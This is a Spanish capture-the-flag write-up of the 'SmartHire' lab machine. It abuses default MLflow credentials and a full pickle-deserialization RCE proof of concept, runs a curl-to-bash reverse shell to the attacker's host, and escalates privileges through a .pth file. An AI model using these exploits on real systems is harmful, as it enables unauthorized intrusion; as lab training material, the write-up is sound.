SmartHire expone una plataforma que utiliza un modelo de inteligencia artificial para analisis y entrenamiento. Se descubrio mlflow configurado con credenciales por default, esto permitio explotar una vulnerabilidad RCE a traves de la creacion de un modelo. Finalmente se escalaron privilegios a traves de un archivo PTH.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.99 scan initiated Sat May 16 18:32:51 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.190.246Nmap scan report for 10.129.190.246
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)|_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://smarthire.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 16 18:33:06 2026 -- 1 IP address (1 host up) scanned in 15.01 seconds
Web Site
El sitio web nos redirige al dominio smarthire.htb el cual agregamos al archivo /etc/hosts.
El subdominio necesita un par de credenciales para acceder.
Aun asi identificamos el uso de mlflow tras cancelar la autenticacion.
Hiring Model
Al registrar e ingresar con un nuevo usuario, nos muestra un dashboard. En este existen dos “Actions”: el primero un Modelo de Entrenamiento basado en archivos CSV con una estructura definida.
El segundo realiza una prediccion de un curriculum, basado en un archivo CSV definido.
Tomamos el ejemplo de entrenamiento para crear un modelo.
Los datos de ejemplo de un CV muestran el puntaje dado con el modelo anterior.
MLFlow
Las credenciales por default (admin/password) permiten el acceso al dashboard de MLFlow, se indica la version 2.14.1.
Remote Code Execution
Existe una vulnerabilidad que permite la ejecucion remota de comandos a traves de la creacion de un nuevo modelo con pickle, mlflow lo carga y deserializa el modelo sin ningun tipo de advertencia.
Modificamos el PoC para agregar el modelo a utilizar, comando y las credenciales por default basados en la documentacion.
importos,pickle,shutil,tempfile,yaml,sysimportmlflowiflen(sys.argv)<3:print(f"run: {sys.argv[0]} model-name-smarthire cmd")sys.exit(1)print(f"Using: {sys.argv[1]} as model")print(f"Command: {sys.argv[2]}")model_smarthire=sys.argv[1]cmd_exec=sys.argv[2]os.environ["MLFLOW_TRACKING_URI"]="http://models.smarthire.htb"os.environ["MLFLOW_TRACKING_USERNAME"]="admin"os.environ["MLFLOW_TRACKING_PASSWORD"]="password"temp_dir=tempfile.mkdtemp()model_dir=os.path.join(temp_dir,"model")os.makedirs(model_dir)classPayload:def__reduce__(self):return(os.system,(cmd_exec,))withopen(os.path.join(model_dir,"model.pkl"),"wb")asf:pickle.dump(Payload(),f)mlmodel={"artifact_path":"model","flavors":{"sklearn":{"pickled_model":"model.pkl","serialization_format":"pickle","sklearn_version":"1.6.1"},"python_function":{"loader_module":"mlflow.sklearn","model_path":"model.pkl","python_version":sys.version.split()[0]}}}withopen(os.path.join(model_dir,"MLmodel"),"w")asf:yaml.dump(mlmodel,f)withmlflow.start_run()asrun:mlflow.log_artifacts(model_dir,"model")print(f"Malicious model uploaded: runs:/{run.info.run_id}/model")print(f"Register model to SmartHire: {model_smarthire}")model_uri=f"runs:/{run.info.run_id}/model"mlflow.register_model(model_uri,model_smarthire)shutil.rmtree(temp_dir)
El nombre del modelo es el que se creo al subir el CSV. Tras ejecutar el script, este registra una version para el modelo del usuario con el comando definido.
1
2
3
4
5
6
7
8
9
10
11
❯ uv run rce_model.py sckull.inc-2ba07e8970de-model 'curl 10.10.14.4'Using: sckull.inc-2ba07e8970de-model as model
Command: curl 10.10.14.4
Malicious model uploaded: runs:/745e4788bbf34d948daf17285bed9d17/model
Register model to SmartHire: sckull.inc-2ba07e8970de-model
Registered model 'sckull.inc-2ba07e8970de-model' already exists. Creating a new version of this model...
2026/05/16 20:40:48 INFO mlflow.store.model_registry.abstract_store: Waiting up to 300 seconds for model version to finish creation. Model name: sckull.inc-2ba07e8970de-model, version 8Created version '8' of model 'sckull.inc-2ba07e8970de-model'.
🏃 View run bold-quail-500 at: http://models.smarthire.htb/#/experiments/0/runs/745e4788bbf34d948daf17285bed9d17
🧪 View experiment at: http://models.smarthire.htb/#/experiments/0
❯
Observamos que la version del modelo esta definida en el dashboard de SmartHire y, tras ejecutar un analisis de un archivo este muestra un error.
Esto ejecutaria el comando definido y observamos una solicitud a nuestro servidor.
1
2
3
❯ httphere .
Serving HTTP on 0.0.0.0 port 80(http://0.0.0.0:80/) ...
10.129.190.246 - - [16/May/2026 20:41:46]"GET / HTTP/1.1"200 -
User - svcweb
Nuevamente ejecutamos el PoC esta vez para una shell inversa con shells. Logrando el acceso como svcweb y la lectura de user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Reverse shell:# uv run rce_model.py sckull.inc-2ba07e8970de-model 'curl 10.10.14.4:8000/10.10.14.4:1335|bash'❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.4] from smarthire.htb [10.129.190.246]52538/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwdsvcweb
uid=1000(svcweb)gid=1000(svcweb)groups=1000(svcweb),1001(mlflowweb),1002(devs)/var/www/smarthire.htb
$ ls
user.txt
$ cat user.txt
5971a2ecd8f3caad1d857fd48f9bdbc8
$
Privesc
Observamos que el usuario puede ejecutar mlflowctl.py como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo -l -l
Matching Defaults entries for svcweb on smarthire:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User svcweb may run the following commands on smarthire:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
$
El script toma los plugins en plugins/, y utiliza addsitedir para agregar las rutas y procesa los archivos .pth.
#!/usr/bin/env python3"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""frompathlibimportPathimportsysimportsiteBASE_DIR=Path(__file__).resolve().parentPLUGINS_DIR=BASE_DIR/"plugins"# make plugins importableforpathinPLUGINS_DIR.iterdir():ifpath.is_dir():site.addsitedir(str(path))defprint_usage():print("Usage: mlflowctl.py [status|backup-models|restart]")sys.exit(1)defmain():importmlflow_actions,backup_modelsiflen(sys.argv)<2:print_usage()action=sys.argv[1]ifaction=="status":mlflow_actions.check_status()elifaction=="backup-models":print("[*] Running backup via backup_models plugin...")backup_models.run()elifaction=="restart":mlflow_actions.restart()else:print(f"[!] Unknown action: {action}")print_usage()if__name__=="__main__":main()
El usuario tiene permisos en /opt/tools/mlflow_ctl/plugins/dev, directorio donde los plugins/.pth son importados.
# cat backup_models.py#!/usr/bin/env python3"""
Core plugin: Backup MLflow models
This plugin handles periodic backups of MLflow run artifacts.
"""import os
import subprocess
from datetime import datetime, timedelta
MLRUNS_PATH="/opt/mlflow/app/mlruns"BACKUP_DIR="/var/backups/mlflow-backup"BACKUP_INTERVAL_MINUTES=10def run():
os.makedirs(BACKUP_DIR, exist_ok=True)# Get existing backupsbackup_files=[ os.path.join(BACKUP_DIR, f)for f in os.listdir(BACKUP_DIR)if f.startswith("mlruns_backup_") and f.endswith(".tar.gz")] backup_files.sort(key=os.path.getmtime, reverse=True)# Skip if last backup is too recentif backup_files:
last_backup_time= datetime.fromtimestamp(os.path.getmtime(backup_files[0]))if datetime.now() - last_backup_time < timedelta(minutes=BACKUP_INTERVAL_MINUTES):
print(f"Last backup was at {last_backup_time}. Skipping backup (less than {BACKUP_INTERVAL_MINUTES} minutes ago).")return# Create new backuptimestamp= datetime.now().strftime("%Y%m%d%H%M%S")archive_name= f"mlruns_backup_{timestamp}.tar.gz"archive_path= os.path.join(BACKUP_DIR, archive_name) try:
subprocess.run(["/usr/bin/tar", "-czf", archive_path, "-C", MLRUNS_PATH, "."],
check=True
) print(f"Backup successful: {archive_path}") except subprocess.CalledProcessError as e:
print(f"[!] Backup failed: {e}")$
PTH Files
Un archivo PTH basicamente es utilizado para indicar directorios (path) en sys.path, este puede contener texto plano o codigo que inicia con import (Beyond Path Hacking, site). Creamos un archivo .pth para ejecutar comandos, el script al ser ejecutado como sudo ejecutaria comandos como root. Agregamos la ejecucion de whoami en /opt/tools/mlflow_ctl/plugins/dev/.